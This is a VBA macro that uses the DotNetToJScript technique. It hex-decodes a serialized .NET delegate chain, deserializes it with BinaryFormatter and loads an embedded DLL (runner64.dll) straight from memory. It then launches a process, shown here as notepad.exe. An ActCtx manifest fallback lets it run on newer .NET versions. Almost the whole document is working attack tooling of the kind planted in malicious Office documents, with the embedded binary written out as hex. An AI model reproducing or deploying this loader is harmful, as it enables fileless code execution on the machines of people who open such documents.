Sub DebugPrint(s)
End Sub

Private Function decodeHex(hex)
    On Error Resume Next
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.hex"
    EL.Text = hex
    decodeHex = EL.NodeTypedValue
End Function

Function Run()
    On Error Resume Next

    Dim s As String
    s = "0001000000FFFFFFFF010000000000000004010000002253797374656D2E44656C656761746553657269616C697A6174696F6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300303033053797374656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E7472792253797374656D2E44656C65"
    s = s & "6761746553657269616C697A6174696F6E486F6C6465722F53797374656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A6174696F6E486F6C64657209020000000903000000090400000004020000003053797374656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E74727907000000047479706508"
    s = s & "617373656D626C79067461726765741274617267657454797065417373656D626C790E746172676574547970654E616D650A6D6574686F644E616D650D64656C6567617465456E747279010102010101033053797374656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E74727906050000002F53797374656D2E52756E74696D65"
    s = s & "2E52656D6F74696E672E4D6573736167696E672E48656164657248616E646C657206060000004B6D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383906070000000774617267657430090600000006090000000F53797374656D2E44656C6567"
    s = s & "617465060A0000000D44796E616D6963496E766F6B650A04030000002253797374656D2E44656C656761746553657269616C697A6174696F6E486F6C646572030000000844656C65676174650774617267657430076D6574686F64300307033053797374656D2E44656C656761746553657269616C697A6174696F6E486F6C6465722B44656C6567617465456E747279022F53797374"
    s = s & "656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A6174696F6E486F6C646572090B000000090C000000090D00000004040000002F53797374656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A6174696F6E486F6C64657206000000044E616D650C417373656D626C794E616D6509436C6173734E616D65095369676E6174"
    s = s & "7572650A4D656D626572547970651047656E65726963417267756D656E7473010101010003080D53797374656D2E547970655B5D090A0000000906000000090900000006110000002C53797374656D2E4F626A6563742044796E616D6963496E766F6B652853797374656D2E4F626A6563745B5D29080000000A010B0000000200000006120000002053797374656D2E586D6C2E5363"
    s = s & "68656D612E586D6C56616C756547657474657206130000004D53797374656D2E586D6C2C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205075626C69634B6579546F6B656E3D6237376135633536313933346530383906140000000774617267657430090600000006160000001A53797374656D2E5265666C656374696F6E2E417373656D62"
    s = s & "6C790617000000044C6F61640A0F0C00000000100000024D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000"
    s = s & "00504500004C0103009418C2620000000000000000E00002210B0108000008000000060000000000009E2600000020000000400000000040000020000000020000040000000000000004000000000000000080000000020000000000000300408500001000001000000000100000100000000000001000000000000000000000004C2600004F00000000400000A80200000000000000"
    s = s & "0000000000000000000000006000000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000A4060000002000000008000000020000000000000000000000000000200000602E72737263000000A80200"
    s = s & "000040000000040000000A0000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000000E0000000000000000000000000000400000420000000000000000000000000000000080260000000000004800000002000500C8210000840400000100000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "0000000000000000000000000000003602280400000A2803000006262A22032804000006262A0A172A0000133004004E0100000100001102280500000A2C02162A020A730600000A0B0706280700000A6F0800000A0706280900000A6F0A00000A72010000700C06166F0B00000A1F22408A000000067203000070176F0C00000A0D09152E53070617096F0D00000A280700000A6F08"
    s = s & "00000A070617096F0D00000A280900000A6F0A00000A091858066F0E00000A3CBB000000060918586F0B00000A1F2040AB000000060918586F0F00000A0C389C0000000706176F0F00000A280700000A6F0800000A0706176F0F00000A280900000A6F0A00000A2B760672070000706F1000000A15331706720B0000706F1000000A15330906281100000A26172A0672070000706F10"
    s = s & "00000A13041104152E3F07061611046F0D00000A280700000A6F0800000A07061611046F0D00000A280900000A6F0A00000A11041758066F0E00000A2F0B06110417586F0F00000A0C07086F1200000A07281300000A26172A000042534A4201000100000000000C00000076322E302E35303732370000000005006C000000A0010000237E00000C020000C801000023537472696E67"
    s = s & "7300000000D40300001000000023555300E4030000100000002347554944000000F40300009000000023426C6F620000000000000002000001471502000900000000FA0133001600000100000008000000020000000400000002000000130000000300000001000000010000000200000000000A000100000000000600400039000600790059000600990059000600DF00C0000600FB"
    s = s & "0039000A002301100106003E0134010A00A901100100000000010000000000010001000100100017001F00050001000100502000000000861847000A0001005E200000000086004D000E00010067200000000096005100130002006C2000000000960051001700020000000100F30000000100F300110047001C00190047000A00210047002100090047000A00290002011700310047"
    s = s & "000A00390043012C0031004F010E0039005C012C0031006D010E0029008201310029008C013600290094013C0029009E01420029009401460029008C014B004100B10150003100B7010E004100B10156002E000B0066002E0013006F0043001B0026005D00048000000000000000000000000000000000B7000000020000000000000000000000010030000000000002000000000000"
    s = s & "000000000001003900000000000000003C4D6F64756C653E0072756E6E657236342E646C6C0050726F6772616D0050726F6772616D4E616D657370616365006D73636F726C69620053797374656D004F626A656374002E63746F7200466F6F00457865637574650053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C"
    s = s & "61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C6974794174747269627574650072756E6E657236340053797374656D2E52756E74696D652E496E7465726F70536572766963657300436F6D56697369626C6541747472696275746500636F6D6D616E6400537472696E670049734E756C6C4F72456D7074790053797374656D2E446961676E6F"
    s = s & "73746963730050726F636573735374617274496E666F0053797374656D2E494F00506174680047657446696C654E616D65007365745F46696C654E616D65004765744469726563746F72794E616D65007365745F576F726B696E674469726563746F7279006765745F436861727300496E6465784F6600537562737472696E67006765745F4C656E6774680050726F63657373005374"
    s = s & "617274007365745F417267756D656E7473000000000001000322000003200000035C00000019642BB1E1EE0F40955562B7FECAEE240008B77A5C561934E08903200001042001010E03000002040001020E042001010804200101020501000100000400010E0E0420010308052002080E080520020E0808032000080420010E08042001080E05000112210E060001122112190807050E"
    s = s & "12190E08080801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730100007426000000000000000000008E26000000200000000000000000000000000000000000000000000080260000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500204000000000000000000000000000000000"
    s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049"
    s = s & "004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E00670046"
    s = s & "0069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000D00010049006E007400650072006E"
    s = s & "0061006C004E0061006D0065000000720075006E006E0065007200360034002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000D0001004F0072006900670069006E0061006C00460069006C0065006E0061006D0065000000720075006E006E0065007200360034002E0064006C006C00000000"
    s = s & "00340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "00000000000000002000000C000000A03600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    s = s & "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010D00000004000000091700000009060000000916000000061A0000002753797374656D2E5265666C656374696F6E2E417373656D626C79204C6F616428427974655B5D29080000000A0B"

    entry_class = "ProgramNamespace.Program"

    Dim stm As Object, fmt As Object, al As Object
    Set stm = CreateObject("System.IO.MemoryStream")

    If stm Is Nothing Then
        manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?><assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0""><assemblyIdentity name=""mscorlib"" version=""4.0.0.0"" publicKeyToken=""B77A5C561934E089"" /><clrClass clsid=""{D0CBA7AF-93F5-378A-BB11-2A5D9AA9C4D7}"" progid=""System.Runtime.Ser"
        manifest = manifest & "ialization.Formatters.Binary.BinaryFormatter"" threadingModel=""Both"" name=""System.Runtime.Serialization.Formatters.Binary.BinaryFormatter"" runtimeVersion=""v4.0.30319"" /><clrClass clsid=""{8D907746-455E-39A7-BD31-BC9F81468347}"" progid=""System.Collections.ArrayList"" threadingModel=""Both"" name=""System.Co"
        manifest = manifest & "llections.ArrayList"" runtimeVersion=""v4.0.30319"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81468347}"" progid=""System.Text.ASCIIEncoding"" threadingModel=""Both"" name=""System.Text.ASCIIEncoding"" runtimeVersion=""v4.0.30319"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81488347}"" progid=""System."
        manifest = manifest & "Security.Cryptography.FromBase64Transform"" threadingModel=""Both"" name=""System.Security.Cryptography.FromBase64Transform"" runtimeVersion=""v4.0.30319"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81468B47}"" progid=""System.IO.MemoryStream"" threadingModel=""Both"" name=""System.IO.MemoryStream"" runtimeV"
        manifest = manifest & "ersion=""v4.0.30319"" /></assembly>"

        Set ax = CreateObject("Microsoft.Windows.ActCtx")
		ax.ManifestText = manifest
		
        Set stm = ax.CreateObject("System.IO.MemoryStream")
        Set fmt = ax.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
        Set al = ax.CreateObject("System.Collections.ArrayList")
    Else
        Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
        Set al = CreateObject("System.Collections.ArrayList")
    End If

    Dim dec
    dec = decodeHex(s)

    For Each i In dec
        stm.WriteByte i
    Next i

    stm.Position = 0

    Dim n As Object, d As Object, o As Object
    Set d = fmt.Deserialize_2(stm)
    al.Add Empty

    Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)

    o.Foo("notepad.exe")
    
    If Err.Number <> 0 Then
      DebugPrint Err.Description
      Err.Clear
    End If
End Function